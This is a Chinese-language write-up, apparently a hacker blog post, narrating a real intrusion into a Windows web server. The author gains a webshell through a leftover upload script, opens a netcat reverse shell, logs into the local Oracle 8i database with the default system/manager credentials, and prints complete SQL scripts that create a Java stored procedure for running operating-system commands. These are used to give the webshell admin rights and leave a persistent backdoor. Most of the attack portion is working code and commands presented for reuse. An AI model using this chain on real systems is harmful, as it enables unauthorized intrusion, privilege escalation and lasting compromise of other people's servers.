近日,偶到一主機上逛了一圈。主機的配置還算是安全,偏偏一個比較隱藏的目錄下殘留了upfile.asp,結果輕輕松松的得到了webshell。
接著在主機上逛了逛,拿出superscan從外面掃了下,只開放了80端口。從user\程序目錄里,發現有一快捷方式:firecontrol,好象是某款硬件防火墻的控制臺。WEBSHELL下檢測了下開放的服務,發現一般的可提權的方法都不可行,無SERV-U等等,主機的補丁也是打到了最新。試了下傳了個NC上去,反連接得到一SHELL,這下比在老兵的管理器里舒服多了。
在C盤下看到一個目錄oracle,看了下C:\oracle\ora81\network\ADMIN\tnsnames.ora文件,確定了主機的服務名“xxx”,看了下版本“oracle 8i”,用數據庫連接器
Provider=MSDAORA.1;Password=manager;User ID=system;Data |
Source=xxxx試了下默認的system賬戶,密碼manager,結果真的就連接到了本地的oracle服務。這下好了,oracle的system賬戶就像是mssql下的sa,我們來通過他來提升權限,馬上編輯了幾個腳本。
1.sql
create or replace and compile
java source named "Util"
as
import java.io.*;
import java.lang.*;
public class Util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int rc = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =
new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
rc = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
rc = -1;
}
finally
{
return rc;
}
}
} |
2.sql
create or replace
function RUN_CMD(p_cmd in varchar2) return number
as
language java
name 'Util.RunThis(java.lang.String) return integer'; |
3.sql
create or replace procedure RC(p_cmd in varchar2)
as
x number;
begin
x := run_cmd(p_cmd);
end; |
保存在c:\下,然后用反連接得到的shell運行
sqlplus system/manager@xxx |
然后再來執行腳本
SQL>@C:\1.sql
SQL>@C:\2.sql
SQL>@C:\3.sql |
看到JAVA已創建、函數已創建、過程已創建,接著我們繼續
SQL> variable x number;
SQL> set serveroutput on
SQL> exec dbms_java.set_output(100000);
SQL>grant javasyspriv to system |
看到授權成功。接著我們就可以來執行系統命令了。我想先把ASP.dll加入特權一組
SQL>exec :x := RUN_CMD('cscript adsutil.vbs set /W3SVC/InProcessIsapiApps
"c:\winnt\system32\inetsrv\asp.dll" '); |
看到過程已經成功完成,這個時候我們重新登陸我們的webshell,他已經具有admin權限了。接著,再用NC返回一個shell,已經是管理權限的,我們可以做我們想干的事了。因為這個主機有防火墻過濾除80以外的端口,所以不好做圖形的后門,只有留下一有權限的webshell。到此已經提權成功。